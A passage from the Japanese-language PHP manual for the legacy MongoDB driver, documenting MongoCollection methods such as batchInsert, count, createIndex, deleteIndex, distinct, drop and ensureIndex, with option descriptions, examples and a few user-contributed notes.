    注意: このオプションを使っているときにジャーナリングを無効にすると、MongoDB 2.6 以降ではエラーが発生して書き込みに失敗します。古いバージョンのサーバーでは、単純にオプションの指定を無視します。

  • "socketTimeoutMS"

    このオプションは、ソケット通信の制限時間を、ミリ秒単位で指定します。この時間内にサーバーからの反応がなければ、MongoCursorTimeoutException をスローします。この場合、サーバー側で書き込み処理が行われたのかどうかを判断できなくなります。-1 を指定すると、永遠にブロックします。MongoClient のデフォルト値は 30000 (30 秒) です。

  • "w"

    WriteConcerns を参照ください。MongoClient でのデフォルト値は 1 です。

  • "wTimeoutMS"

    このオプションは、書き込み確認を待つ制限時間をミリ秒単位で指定します。これが書き込み操作に適用されるのは、"w" が 1 より大きい場合のみです。というのも、タイムアウトはレプリケーションに関する機能だからです。この時間内に書き込み確認ができなかった場合は MongoCursorException をスローします。0 を指定すると、永遠にブロックし続けます。MongoClient でのデフォルトは 10000 ミリ秒 (10 秒) です。

以下のオプションは廃止予定です。使ってはいけません。

  • "safe"

    非推奨。write concern の w オプションを使いましょう。

  • "timeout"

    非推奨。"socketTimeoutMS" のエイリアス。

  • "wtimeout"

    廃止予定。"wTimeoutMS" のエイリアスです。

返り値

w を設定して書き込みの確認をするようにしている場合は、 追加の状況 ("ok") と発生したエラー ("err") を連想配列で返します。設定されていないときは、一括追加の送信に成功すれば true、失敗すれば false を返します。

エラー / 例外

追加したドキュメントが空だったり長さがゼロのキーが含まれていたりした場合に MongoException をスローします。 protected や private なプロパティを持つオブジェクトを追加しようとすると、 キーの長さがゼロのエラーを引き起こします。

"w" オプションが設定されていて書き込みが失敗した場合に MongoCursorException をスローします。

"w" オプションの値が 1 より大きく設定されていて、操作の完了までの時間が MongoCursor::$timeout ミリ秒をこえた場合に MongoCursorTimeoutException をスローします。サーバー上での操作は止めません。これはクライアント側でのタイムアウトです。MongoCollection::$wtimeout はミリ秒です。

変更履歴

バージョン | 説明
PECL mongo 1.5.0 | "wTimeoutMS" オプションが追加されました。これは "wtimeout" を置き換えるものです。 "wtimeout" を使うと E_DEPRECATED が発生します。 "socketTimeoutMS" オプションが追加されました。これは "timeout" を置き換えるものです。 "timeout" を使うと E_DEPRECATED が発生します。 "safe" を使うと E_DEPRECATED が発生します。
PECL mongo 1.3.4 | "wtimeout" オプションが追加されました。
PECL mongo 1.3.0 | "w" オプションが追加されました。
PECL mongo 1.2.7 | "continueOnError" オプションが追加されました。
PECL mongo 1.0.9 | "safe" オプションに整数値がわたせるようになりました (以前は boolean のみでした)。 "fsync" オプションが追加されました。
PECL mongo 1.0.5 | options パラメータが追加されました。

例

例1 MongoCollection::batchInsert() の例

バッチ挿入を使用すると、多くの要素を一度にデータベースに追加できます。

<?php

$users = array();
for ($i = 0; $i<100; $i++) {
  $users[] = array('username' => 'user'.$i, 'i' => $i);
}

$mongo = new MongoClient();
$collection = $mongo->my_db->users;
$collection->drop();

$collection->batchInsert($users);

foreach ($users as $user) {
  echo $user['_id']."\n"; // MongoId のインスタンスが格納されています
}

$users = $collection->find()->sort(array('i' => 1));
foreach ($users as $user) {
    var_dump($user['username']);
}

?>

上の例の出力は、 たとえば以下のようになります。

4bf43ac68ead0e1971000000
4bf43ac68ead0e1971010000
4bf43ac68ead0e1971020000
...
string(5) "user1"
string(5) "user2"
string(5) "user3"
...

例2 MongoCollection::batchInsert() でエラーを無視する例

<?php

$con = new Mongo;
$db = $con->demo;

$doc1 = array(
        '_id' => new MongoId('4cb4ab6d7addf98506010001'),
        'id' => 1,
        'desc' => "ONE",
);
$doc2 = array(
        '_id' => new MongoId('4cb4ab6d7addf98506010002'),
        'id' => 2,
        'desc' => "TWO",
);
$doc3 = array(
        '_id' => new MongoId('4cb4ab6d7addf98506010002'), // same _id as above
        'id' => 3,
        'desc' => "THREE",
);
$doc4 = array(
        '_id' => new MongoId('4cb4ab6d7addf98506010004'),
        'id' => 4,
        'desc' => "FOUR",
);

$c = $db->selectCollection('c');
$c->batchInsert(
    array($doc1, $doc2, $doc3, $doc4),
    array('continueOnError' => true)
);

$docs = $c->find();
foreach ($docs as $doc) {
    var_dump($doc['desc']);
}
?>

上の例の出力は、 たとえば以下のようになります。

string(3) "ONE"
string(3) "TWO"
string(4) "FOUR"

参考

  • MongoCollection::insert() - ドキュメントをコレクションに追加する
  • MongoCollection::update() - 指定した条件にもとづいてレコードを更新する
  • MongoCollection::find() - コレクションに問い合わせ、結果セットの MongoCursor を返す
  • MongoCollection::remove() - レコードをコレクションから削除する
  • MongoDB コアドキュメントの » insert

User Contributed Notes

There are no user contributed notes for this page.


新しいコレクションを作成する

  • ≪ MongoCollection::batchInsert
  • MongoCollection::count ≫
  • PHP Manual
  • MongoCollection
  • 新しいコレクションを作成する

MongoCollection::__construct

(PECL mongo >=0.9.0)

MongoCollection::__construct — 新しいコレクションを作成する

説明

public MongoCollection::__construct ( MongoDB $db , string $name )

パラメータ

MongoDB db

親データベース。

name

コレクション名。

返り値

新しいコレクションオブジェクトを返します。

エラー / 例外

コレクション名が不正な場合に、デフォルトの例外をスローします。

User Contributed Notes

There are no user contributed notes for this page.


コレクション内のドキュメント数を数える

  • ≪ MongoCollection::__construct
  • MongoCollection::createDBRef ≫
  • PHP Manual
  • MongoCollection
  • コレクション内のドキュメント数を数える

MongoCollection::count

(PECL mongo >=0.9.0)

MongoCollection::count — コレクション内のドキュメント数を数える

説明

public MongoCollection::count
 ( array $query = array()
, array $options = array()
) : int

パラメータ

query

マッチさせるフィールドを持つ連想配列あるいはオブジェクト。

options

インデックス作成用のオプションの配列。現在使えるオプションは、以下のとおりです。

名前 | 型 | 説明
hint mixed

クエリに用いるインデックス。文字列を渡すと、インデックス名として扱います。 配列やオブジェクトを渡した場合は、インデックスの作成に使う仕様 (MongoCollection::createIndex() の最初の引数) に対応します。

このオプションは、MongoDB 2.6 以降で使えます。
limit | int | マッチしたドキュメントを返す件数の上限。
maxTimeMS int

累積処理時間 (待ち時間は含まない) の上限を、ミリ秒単位で指定します。 この時間内に処理が完了しなかった場合は、 MongoExecutionTimeoutException をスローします。

このオプションは、MongoDB 2.6 以降で使えます。
skip | int | マッチしたドキュメントのうち、結果を返す前に読み飛ばすドキュメントの数。

返り値

query にマッチするドキュメントの数を返します。

エラー / 例外

エラーが発生してサーバーがコマンドを実行できなかった場合は MongoResultException をスローします。

maxTimeMS を超えたためにコマンドが失敗した場合は MongoExecutionTimeoutException をスローします。

変更履歴

バージョン | 説明
PECL mongo 1.6.0 | 二番目のパラメータが配列 options に変わりました。 limit や skip を二番目、三番目のパラメータとして渡す方法は、非推奨になりました。
PECL mongo 1.0.7 | limit および skip が それぞれ二番目、三番目のパラメータとして追加されました。

例

例1 MongoCollection::count() の例

<?php

$collection->insert(array('x'=>1));
$collection->insert(array('x'=>2));
$collection->insert(array('x'=>3));

var_dump($collection->count());
var_dump($collection->count(array('x'=>1)));

?>

上の例の出力は、 たとえば以下のようになります。

int(3)
int(1)

User Contributed Notes

There are no user contributed notes for this page.


データベースへの参照を作成する

  • ≪ MongoCollection::count
  • MongoCollection::createIndex ≫
  • PHP Manual
  • MongoCollection
  • データベースへの参照を作成する

MongoCollection::createDBRef

(PECL mongo >=0.9.0)

MongoCollection::createDBRef — データベースへの参照を作成する

説明

public MongoCollection::createDBRef ( mixed $document_or_id ) : array

パラメータ

document_or_id

配列あるいはオブジェクトを渡した場合は、その _id フィールドを参照 ID として利用します。 MongoId あるいはスカラーを渡した場合は、 それ自体を参照 ID として利用します。

返り値

データベース参照配列を返します。

_id フィールドがない配列を document_or_id に渡した場合は、null を返します。

例

例1 MongoCollection::createDBRef() の例

<?php

$songs = $db->songs;
$playlists = $db->playlists;

// 曲への参照を作成します
$manamana = $songs->findOne(array('title' => 'Ma na ma na'));
$refToSong = $songs->createDBRef($manamana);

// プレイリストへの参照を追加します
$playlists->update(array('username' => 'me'), array('$push' => array('songlist' => $refToSong)));

?>

参考

  • MongoCollection::getDBRef() - データベース参照が指すドキュメントを取得する

User Contributed Notes

There are no user contributed notes for this page.


Creates an index on the specified field(s) if it does not already exist

  • ≪ MongoCollection::createDBRef
  • MongoCollection::deleteIndex ≫
  • PHP Manual
  • MongoCollection
  • Creates an index on the specified field(s) if it does not already exist

MongoCollection::createIndex

(PECL mongo >=1.5.0)

MongoCollection::createIndex — Creates an index on the specified field(s) if it does not already exist

説明

public MongoCollection::createIndex ( array $keys , array $options = array() ) : bool

Creates an index on the specified field(s) if it does not already exist. Fields may be indexed with a direction (e.g. ascending or descending) or a special type (e.g. text, geospatial, hashed).

注意:

This method will use the » createIndexes database command when communicating with MongoDB 2.6+. For previous database versions, the method will perform an insert operation on the special system.indexes collection.

パラメータ

keys

An array specifying the index's fields as its keys. For each field, the value is either the index direction or » index type. If specifying direction, specify 1 for ascending or -1 for descending.

options

An array of options for the index creation. We pass all given options straight to the server, but a non-exhaustive list of currently available options include:

  • "unique"

    true を指定すると、一意なインデックスを作ります。デフォルト値は false です。このオプションを使えるのは、昇順もしくは降順のインデックスだけです。

    注意:

    MongoDB がフィールドをインデックスするとき、もしそのフィールドに値を含まないドキュメントがあれば、null 値をインデックスします。このフィールドを含まないドキュメントが複数あった場合、一意なインデックスは、最初に出現したドキュメント以外を受け付けません。これを防ぐには "sparse" オプションを使います。このオプションを指定すれば、インデックス対象のフィールドが存在しないドキュメントはインデックスしなくなります。

  • "sparse"

    true を指定すると、疎なインデックスを作ります。これは、指定したフィールドを含むドキュメントだけをインデックスします。デフォルト値は false です。

  • "expireAfterSeconds"

    このオプションの値に指定するのは、ドキュメントを有効期限切れとみなしてコレクションから自動削除するまでの秒数です。このオプションが使えるのは、単一フィールドインデックスで、フィールドに MongoDate の値を含む場合のみです。

    注意:

    この機能が使えるのは、MongoDB 2.2 以降です。詳細は » Expire Data from Collections by Setting TTL を参照ください。

  • "name"

    オプションの、インデックスを一意に特定するための名前。

    注意:

    ドライバーがデフォルトで生成するインデックス名は、インデックスのフィールドと、並び順あるいは型に基づくものです。たとえば、複合インデックス array("x" => 1, "y" => -1) の名前は "x_1_y_-1" であり、地理空間インデックス array("loc" => "2dsphere") の名前は "loc_2dsphere" となります。多数のフィールドからなるインデックスの場合、自動生成される名前が MongoDB の » インデックス名の制限 を超えてしまう可能性があります。"name" オプションは、そんな場合に短い名前を用意するときなどに使えます。

  • "background"

    Builds the index in the background so that building an index does not block other database activities. Specify true to build in the background. The default value is false.

    警告

    Prior to MongoDB 2.6.0, index builds on secondaries were executed as foreground operations, irrespective of this option. See » Building Indexes with Replica Sets for more information.

  • "socketTimeoutMS"

    このオプションは、ソケット通信の制限時間を、ミリ秒単位で指定します。この時間内にサーバーからの反応がなければ、MongoCursorTimeoutException をスローします。この場合、サーバー側で書き込み処理が行われたのかどうかを判断できなくなります。-1 を指定すると、永遠にブロックします。MongoClient のデフォルト値は 30000 (30 秒) です。

The following option may be used with MongoDB 2.6+:

  • "maxTimeMS"

    サーバー上で操作を行う累積時間の制限 (アイドル時間を含まない) を、ミリ秒単位で指定します。この時間内にサーバー側の操作が完了しなければ、MongoExecutionTimeoutException をスローします。

The following options may be used with MongoDB versions before 2.8:

  • "dropDups"

    true を指定すると、一意なインデックスを強制的に作成します。このとき、コレクション内でキーの値が重複してしまう可能性があります。MongoDB は最初に出現したキーをインデックスし、それ以降に出現する同じキーのすべてのドキュメントを削除します。デフォルト値は false です。

    警告

    "dropDups" はデータベースのデータを削除することがあるので、使う際には十分な注意が必要です。

    注意:

    このオプションは、MongoDB 2.8 以降には対応していません。コレクションに値の重複がある場合は、インデックスの作成に失敗します。

The following options may be used with MongoDB versions before 2.6:

  • "w"

    WriteConcerns を参照ください。MongoClient でのデフォルト値は 1 です。

  • "wTimeoutMS"

    このオプションは、書き込み確認を待つ制限時間をミリ秒単位で指定します。これが書き込み操作に適用されるのは、"w" が 1 より大きい場合のみです。というのも、タイムアウトはレプリケーションに関する機能だからです。この時間内に書き込み確認ができなかった場合は MongoCursorException をスローします。0 を指定すると、永遠にブロックし続けます。MongoClient でのデフォルトは 10000 ミリ秒 (10 秒) です。

The following options are deprecated and should no longer be used:

  • "safe"

    非推奨。write concern の w オプションを使いましょう。

  • "timeout"

    非推奨。"socketTimeoutMS" のエイリアス。

  • "wtimeout"

    廃止予定。"wTimeoutMS" のエイリアスです。

返り値

Returns an array containing the status of the index creation. The array contains whether the operation succeeded ("ok"), the number of indexes before and after the operation ("numIndexesBefore" and "numIndexesAfter"), and whether the collection that the index belongs to has been created ("createdCollectionAutomatically"). If the index already existed and did not need to be created, a "note" field may be present in lieu of "numIndexesAfter".

With MongoDB 2.4 and earlier, a status document is only returned if the write concern is at least 1. Otherwise, true is returned. The fields in the status document are different, except for the "ok" field, which signals whether the index creation was successful. Additional fields are described in the documentation for MongoCollection::insert().

エラー / 例外

Throws MongoException if the index name is longer than 128 bytes, or if the index specification is not an array.

Throws MongoDuplicateKeyException if the server could not create the unique index due to conflicting documents.

Throws MongoResultException if the server could not create the index due to an error.

"w" オプションが設定されていて書き込みが失敗した場合に MongoCursorException をスローします。

"w" オプションの値が 1 より大きく設定されていて、操作の完了までの時間が MongoCursor::$timeout ミリ秒をこえた場合に MongoCursorTimeoutException をスローします。サーバー上での操作は止めません。これはクライアント側でのタイムアウトです。MongoCollection::$wtimeout はミリ秒です。

例

例1 MongoCollection::createIndex() example

<?php

$c = new MongoCollection($db, 'foo');

// create an index on 'x' ascending
$c->createIndex(array('x' => 1));

// create a unique index on 'y'
$c->createIndex(array('y' => 1), array('unique' => true));

// create a compound index on 'za' ascending and 'zb' descending
$c->createIndex(array('za' => 1, 'zb' => -1));

?>

例2 Geospatial Indexing

Mongo supports geospatial indexes, which allow you to search for documents near a given location or within a shape. The following example creates a geospatial index on the "loc" field:

<?php

$collection->createIndex(array('loc' => '2dsphere'));

?>

例3 Drop duplicates example

<?php

$collection->insert(array('username' => 'joeschmoe'));
$collection->insert(array('username' => 'joeschmoe'));

/* Index creation fails, since you cannot create a unique index on a field when
 * duplicates exist.
 */
$collection->createIndex(array('username' => 1), array('unique' => 1));

/* MongoDB will one of the conflicting documents and allow the unique index to
 * be created.
 */
$collection->createIndex(array('username' => 1), array('unique' => 1, 'dropDups' => 1));

/* We now have a unique index and subsequent inserts with the same username will
 * fail.
 */
$collection->insert(array('username' => 'joeschmoe'));

?>

参考

  • MongoCollection::deleteIndex() - コレクションからインデックスを削除する
  • MongoCollection::deleteIndexes() - コレクションのすべてのインデックスを削除する
  • The MongoDB » index and » index type documentation.

User Contributed Notes

sNICkers 22-May-2017 05:50
For PHP 7.x
Create index using MongoDB\Driver

$command = new \MongoDB\Driver\Command([
    'createIndexes' => 'my_collection_name',
    'indexes' => [[
        'name' => 'my_index_name',
        'key'  => ['my_field_name' => 1]
    ]]
]);

$instance = new \MongoDB\Driver\Manager('mongodb://127.0.0.1:27017');
$instance->executeCommand('my_db_name', $command);
bosuy dot misha at gmail dot com 11-Jul-2016 09:47
Create index using MongoDB\Driver

$query = new \MongoDB\Driver\Query(['createIndex' => ['my_column' => 1]], []);
$manager = new \MongoDB\Driver\Manager($mongo_connection)
$manager->executeQuery('my_db.my_collection', $query);


コレクションからインデックスを削除する

  • ≪ MongoCollection::createIndex
  • MongoCollection::deleteIndexes ≫
  • PHP Manual
  • MongoCollection
  • コレクションからインデックスを削除する

MongoCollection::deleteIndex

(PECL mongo >=0.9.0)

MongoCollection::deleteIndex — コレクションからインデックスを削除する

説明

public MongoCollection::deleteIndex ( string|array $keys ) : array

このメソッドは、以下と同等です。

<?php

public function deleteIndexes($keys) {
  $indexName = $this->toIndexString($keys);

  return $this->db->command(array(
    "deleteIndexes" => $this->getName(),
    "index" => $indexName,
  ));
}

?>

インデックスの作成時に、一意な名前が与えられます。この名前は一般に、 キーの名前や方向の組み合わせからドライバが自動生成します。しかし自分で名前をつけることも可能で、 その場合は MongoCollection::createIndex() の "name" オプションを利用します。

残念ながら、MongoCollection::deleteIndex() は、 独自に名前を設定したインデックスを削除できません。過去のバージョンとの互換性の問題があるからです。 文字列を指定した場合はフィールド名とみなされ、そのフィールドの昇順と解釈されます。 つまり、引数が "x" だった場合は "x_1" という名前を利用します。 配列やオブジェクトを指定した場合は、 MongoCollection::createIndex() に同じものを渡した場合と同様にして名前を生成します。

自分で名前を設定したインデックスを削除するには、 データベースコマンド deleteIndexes を使う必要があります。 たとえば、"myIndex" というインデックスを PHP ドライバで削除するには、次のようにします。

<?php

$db->command(array(
  "deleteIndexes" => $collection->getName(),
  "index" => "myIndex",
));

?>

PHP ドライバで使うインデックスの名前を調べるには、データベースの system.indexes コレクションを検索して、結果の "name" フィールドを調べます。 "ns" フィールドは、そのインデックスが属するコレクションを表します。

パラメータ

keys

インデックスのフィールドをキーとする配列。 各フィールドの値は、インデックスの方向あるいは » インデックスの型 を表します。 方向を指定する場合は、1 が昇順で -1 が降順を表します。

文字列を指定した場合はフィールド名とみなされ、そのフィールドの昇順と解釈されます。

返り値

データベースからの応答を返します。

例

例1 MongoCollection::deleteIndex() の例

この例は、文字列パラメータおよび配列パラメータを関数に渡します。

<?php

$m = new MongoClient();
$c = $m->example->indices;

// シンプルなインデックスを作成し、削除します
$c->createIndex(array("i"=>1));
$c->deleteIndex("i");

// 複数キーのインデックスを作成し、削除します
$c->ensureIndex(array("j" => 1, "k" => 1));
$c->deleteIndex(array("j" => 1, "k" => 1));

?>

参考

  • MongoCollection::createIndex() - Creates an index on the specified field(s) if it does not already exist
  • MongoCollection::deleteIndexes() - コレクションのすべてのインデックスを削除する
  • MongoCollection::toIndexString() - インデックスを指定するキーを、インデックスを指す文字列に変換する
  • MongoDB コアドキュメントの » index および » index type

User Contributed Notes

nanhe dot kumar at gmail dot com 06-Oct-2013 01:23
<?php
/*
How can delete Index through Index name.
*/
function deleteIndex($db, $collection, $indexName) {
    if (class_exists("MongoClient")) {
        $m = new MongoClient();
    } else {
        $m = new Mongo();
    }
    $indexes = $m->{$db}->{$collection}->getIndexInfo();
    foreach ($indexes as $index) {
        if ($index['name'] === $indexName) {
            return $m->{$db}->command(array("deleteIndexes" => $this->m->{$db}->{$collection}->getName(), "index" =>$index['key']));
            break;
        }
    }
    return false;
}
    $response=deleteIndex('student','class','roll');
    echo "<pre>;
    print_r($response);
    echo "</pre>";

?>

Array
(
    [nIndexesWas] => 2
    [ok] => 1
)


コレクションのすべてのインデックスを削除する

  • ≪ MongoCollection::deleteIndex
  • MongoCollection::distinct ≫
  • PHP Manual
  • MongoCollection
  • コレクションのすべてのインデックスを削除する

MongoCollection::deleteIndexes

(PECL mongo >=0.9.0)

MongoCollection::deleteIndexes — コレクションのすべてのインデックスを削除する

説明

public MongoCollection::deleteIndexes ( ) : array

パラメータ

この関数にはパラメータはありません。

返り値

データベースの応答を返します。

例

例1 MongoCollection::deleteIndexes() の例

この例は、コレクションからすべてのインデックスを削除する方法とその応答を示します。

<?php

$collection = $mongo->my_db->articles;
$response = $collection->deleteIndexes();
print_r($response);

?>

上の例の出力は、 たとえば以下のようになります。

Array
(
    [nIndexesWas] => 1
    [msg] => all indexes deleted for collection
    [ok] => 1
)

参考

  • MongoCollection::createIndex() - Creates an index on the specified field(s) if it does not already exist
  • MongoCollection::deleteIndex() - コレクションからインデックスを削除する

User Contributed Notes

There are no user contributed notes for this page.


Retrieve a list of distinct values for the given key across a collection

  • ≪ MongoCollection::deleteIndexes
  • MongoCollection::drop ≫
  • PHP Manual
  • MongoCollection
  • Retrieve a list of distinct values for the given key across a collection

MongoCollection::distinct

(PECL mongo >=1.2.11)

MongoCollection::distinct — Retrieve a list of distinct values for the given key across a collection

説明

public MongoCollection::distinct ( string $key , array $query = ? ) : array|false

The distinct command returns a list of distinct values for the given key across a collection.

パラメータ

key

The key to use.

query

An optional query parameters

返り値

Returns an array of distinct values, 失敗した場合に false を返します

例

例1 MongoCollection::distinct() example

<?php
$m = new Mongo;
$db = $m->selectDB("test");
$db->dropCollection("distinct");
$c = $db->distinct;

$c->insert(array("stuff" => "bar", "zip-code" => 10010));
$c->insert(array("stuff" => "foo", "zip-code" => 10010));
$c->insert(array("stuff" => "bar", "zip-code" => 99701), array("w" => 1));

$retval = $c->distinct("zip-code");
var_dump($retval);

$retval = $c->distinct("zip-code", array("stuff" => "foo"));
var_dump($retval);

$retval = $c->distinct("zip-code", array("stuff" => "bar"));
var_dump($retval);

?>

上の例の出力は以下となります。

array(2) {
  [0]=>
  int(10010)
  [1]=>
  int(99701)
}
array(1) {
  [0]=>
  int(10010)
}
array(2) {
  [0]=>
  int(10010)
  [1]=>
  int(99701)
}

例2 MongoCollection::distinct() example on a embedded document

<?php
$c->insert(array("user" => array("points" => 25)));
$c->insert(array("user" => array("points" => 31)));
$c->insert(array("user" => array("points" => 25)));

$retval = $c->distinct("user.points");
var_dump($retval);

$retval = $c->distinct("user.nonexisting");
var_dump($retval);
?>

上の例の出力は以下となります。

array(2) {
  [0]=>
  int(25)
  [1]=>
  int(31)
}
array(0) {
}

User Contributed Notes

There are no user contributed notes for this page.


コレクションを削除する

  • ≪ MongoCollection::distinct
  • MongoCollection::ensureIndex ≫
  • PHP Manual
  • MongoCollection
  • コレクションを削除する

MongoCollection::drop

(PECL mongo >=0.9.0)

MongoCollection::drop — コレクションを削除する

説明

public MongoCollection::drop ( ) : array

コレクションと、そのインデックスを削除します。

パラメータ

この関数にはパラメータはありません。

返り値

データベースの応答を返します。

例

例1 MongoCollection::drop() の例

この例は、コレクションを削除する方法とその応答を示します。

<?php

$collection = $mongo->my_db->articles;
$response = $collection->drop();
print_r($response);

?>

上の例の出力は、 たとえば以下のようになります。

Array
(
    [nIndexesWas] => 1
    [msg] => all indexes deleted for collection
    [ns] => my_db.articles
    [ok] => 1
)

User Contributed Notes

There are no user contributed notes for this page.


Creates an index on the specified field(s) if it does not already exist

  • ≪ MongoCollection::drop
  • MongoCollection::find ≫
  • PHP Manual
  • MongoCollection
  • Creates an index on the specified field(s) if it does not already exist

MongoCollection::ensureIndex

(PECL mongo >=0.9.0)

MongoCollection::ensureIndex — Creates an index on the specified field(s) if it does not already exist

説明

public MongoCollection::ensureIndex ( string|array $key|keys , array $options = array() ) : bool
警告

This method is deprecated since version 1.5.0. Please use MongoCollection::createIndex() instead.

Creates an index on the specified field(s) if it does not already exist. Fields may be indexed with a direction (e.g. ascending or descending) or a special type (e.g. text, geospatial, hashed).

注意:

This method will use the » createIndexes database command when communicating with MongoDB 2.6+. For previous database versions, the method will perform an insert operation on the special system.indexes collection.

パラメータ

keys

An array specifying the index's fields as its keys. For each field, the value is either the index direction or » index type. If specifying direction, specify 1 for ascending or -1 for descending.

options

An array of options for the index creation. Currently available options include:

  • "unique"

    true を指定すると、一意なインデックスを作ります。デフォルト値は false です。このオプションを使えるのは、昇順もしくは降順のインデックスだけです。

    注意:

    MongoDB がフィールドをインデックスするとき、もしそのフィールドに値を含まないドキュメントがあれば、null 値をインデックスします。このフィールドを含まないドキュメントが複数あった場合、一意なインデックスは、最初に出現したドキュメント以外を受け付けません。これを防ぐには "sparse" オプションを使います。このオプションを指定すれば、インデックス対象のフィールドが存在しないドキュメントはインデックスしなくなります。

  • "sparse"

    true を指定すると、疎なインデックスを作ります。これは、指定したフィールドを含むドキュメントだけをインデックスします。デフォルト値は false です。

  • "expireAfterSeconds"

    このオプションの値に指定するのは、ドキュメントを有効期限切れとみなしてコレクションから自動削除するまでの秒数です。このオプションが使えるのは、単一フィールドインデックスで、フィールドに MongoDate の値を含む場合のみです。

    注意:

    この機能が使えるのは、MongoDB 2.2 以降です。詳細は » Expire Data from Collections by Setting TTL を参照ください。

  • "name"

    オプションの、インデックスを一意に特定するための名前。

    注意:

    ドライバーがデフォルトで生成するインデックス名は、インデックスのフィールドと、並び順あるいは型に基づくものです。たとえば、複合インデックス array("x" => 1, "y" => -1) の名前は "x_1_y_-1" であり、地理空間インデックス array("loc" => "2dsphere") の名前は "loc_2dsphere" となります。多数のフィールドからなるインデックスの場合、自動生成される名前が MongoDB の » インデックス名の制限 を超えてしまう可能性があります。"name" オプションは、そんな場合に短い名前を用意するときなどに使えます。

  • "background"

    Builds the index in the background so that building an index does not block other database activities. Specify true to build in the background. The default value is false.

    警告

    Prior to MongoDB 2.6.0, index builds on secondaries were executed as foreground operations, irrespective of this option. See » Building Indexes with Replica Sets for more information.

  • "socketTimeoutMS"

    このオプションは、ソケット通信の制限時間を、ミリ秒単位で指定します。この時間内にサーバーからの反応がなければ、MongoCursorTimeoutException をスローします。この場合、サーバー側で書き込み処理が行われたのかどうかを判断できなくなります。-1 を指定すると、永遠にブロックします。MongoClient のデフォルト値は 30000 (30 秒) です。

The following option may be used with MongoDB 2.6+:

  • "maxTimeMS"

    サーバー上で操作を行う累積時間の制限 (アイドル時間を含まない) を、ミリ秒単位で指定します。この時間内にサーバー側の操作が完了しなければ、MongoExecutionTimeoutException をスローします。

The following options may be used with MongoDB versions before 2.8:

  • "dropDups"

    true を指定すると、一意なインデックスを強制的に作成します。このとき、コレクション内でキーの値が重複してしまう可能性があります。MongoDB は最初に出現したキーをインデックスし、それ以降に出現する同じキーのすべてのドキュメントを削除します。デフォルト値は false です。

    警告

    "dropDups" はデータベースのデータを削除することがあるので、使う際には十分な注意が必要です。

    注意:

    このオプションは、MongoDB 2.8 以降には対応していません。コレクションに値の重複がある場合は、インデックスの作成に失敗します。

The following options may be used with MongoDB versions before 2.6:

  • "w"

    WriteConcerns を参照ください。MongoClient でのデフォルト値は 1 です。

  • "wTimeoutMS"

    このオプションは、書き込み確認を待つ制限時間をミリ秒単位で指定します。これが書き込み操作に適用されるのは、"w" が 1 より大きい場合のみです。というのも、タイムアウトはレプリケーションに関する機能だからです。この時間内に書き込み確認ができなかった場合は MongoCursorException をスローします。0 を指定すると、永遠にブロックし続けます。MongoClient でのデフォルトは 10000 ミリ秒 (10 秒) です。

The following options are deprecated and should no longer be used:

  • "safe"

    非推奨。write concern の w オプションを使いましょう。

  • "timeout"

    非推奨。"socketTimeoutMS" のエイリアス。

  • "wtimeout"

    廃止予定。"wTimeoutMS" のエイリアスです。

返り値

Returns an array containing the status of the index creation. The array contains whether the operation succeeded ("ok"), the number of indexes before and after the operation ("numIndexesBefore" and "numIndexesAfter"), and whether the collection that the index belongs to has been created ("createdCollectionAutomatically"). If the index already existed and did not need to be created, a "note" field may be present in lieu of "numIndexesAfter".

With MongoDB 2.4 and earlier, a status document is only returned if the write concern is at least 1. Otherwise, true is returned. The fields in the status document are different, except for the "ok" field, which signals whether the index creation was successful. Additional fields are described in the documentation for MongoCollection::insert().

変更履歴

バージョン | 説明
PECL mongo 1.5.0 | Renamed the "wtimeout" option to "wTimeoutMS". Emits E_DEPRECATED when "wtimeout" is used. Renamed the "timeout" option to "socketTimeoutMS". Emits E_DEPRECATED when "timeout" is used. Emits E_DEPRECATED when "safe" is used.
PECL mongo 1.3.4 | Added "wtimeout" option.
PECL mongo 1.3.0 | Added "w" option. The options parameter no longer accepts a boolean to signify a unique index. Instead, this now has to be done with array('unique' => true).
PECL mongo 1.2.11 | Emits E_DEPRECATED when options is scalar.
PECL mongo 1.2.0 | Added "timeout" option.
PECL mongo 1.0.11 | The "safe" option will trigger a primary failover, if necessary. MongoException will be thrown if the index name (either generated or set) is longer than 128 bytes.
PECL mongo 1.0.5 | Added the "name" option to override index name creation.
PECL mongo 1.0.2 | Changed options parameter from boolean to array. Pre-1.0.2, the second parameter was an optional boolean value specifying a unique index.

エラー / 例外

Throws MongoException if the index name is longer than 128 bytes, or if the index specification is not an array.

Throws MongoDuplicateKeyException if the server could not create the unique index due to conflicting documents.

Throws MongoResultException if the server could not create the index due to an error.

"w" オプションが設定されていて書き込みが失敗した場合に MongoCursorException をスローします。

"w" オプションの値が 1 より大きく設定されていて、操作の完了までの時間が MongoCursor::$timeout ミリ秒をこえた場合に MongoCursorTimeoutException をスローします。サーバー上での操作は止めません。これはクライアント側でのタイムアウトです。MongoCollection::$wtimeout はミリ秒です。

例

例1 MongoCollection::ensureIndex() example

<?php

$c = new MongoCollection($db, 'foo');

// create an index on 'x' ascending
$c->ensureIndex(array('x' => 1));

// create a unique index on 'y'
$c->ensureIndex(array('y' => 1), array('unique' => true));

// create a compound index on 'za' ascending and 'zb' descending
$c->ensureIndex(array('za' => 1, 'zb' => -1));

?>

例2 Geospatial Indexing

Mongo supports geospatial indexes, which allow you to search for documents near a given location or within a shape. The following example creates a geospatial index on the "loc" field:

<?php

$collection->ensureIndex(array('loc' => '2dsphere'));

?>

例3 Drop duplicates example

<?php

$collection->insert(array('username' => 'joeschmoe'));
$collection->insert(array('username' => 'joeschmoe'));

/* Index creation fails, since you cannot create a unique index on a field when
 * duplicates exist.
 */
$collection->ensureIndex(array('username' => 1), array('unique' => 1));

/* MongoDB will one of the conflicting documents and allow the unique index to
 * be created.
 */
$collection->ensureIndex(array('username' => 1), array('unique' => 1, 'dropDups' => 1));

/* We now have a unique index and subsequent inserts with the same username will
 * fail.
 */
$collection->insert(array('username' => 'joeschmoe'));

?>

参考

  • MongoCollection::createIndex() - Creates an index on the specified field(s) if it does not already exist
  • MongoCollection::deleteIndex() - コレクションからインデックスを削除する
  • MongoCollection::deleteIndexes() - コレクションのすべてのインデックスを削除する
  • The MongoDB » index and » index type documentation.

User Contributed Notes

mcuadros at gmail dot com 09-Apr-2013 10:39
Ensuring a text index, needed by text search command.

<?php
$collection->ensureIndex(
    array(
        'title' => 'text',
        'desc' => 'text',
    ),
    array(
        'name' => 'ExampleTextIndex',
        'weights' => array(
            'title' => 100,
            'desc' => 30,
        )
    )
);
alan dot lake at lakeinfoworks dot com 26-Aug-2010 08:45
The statement
<?php
$c->ensureIndex(array('x' => 1), array("unique" => true));
?>
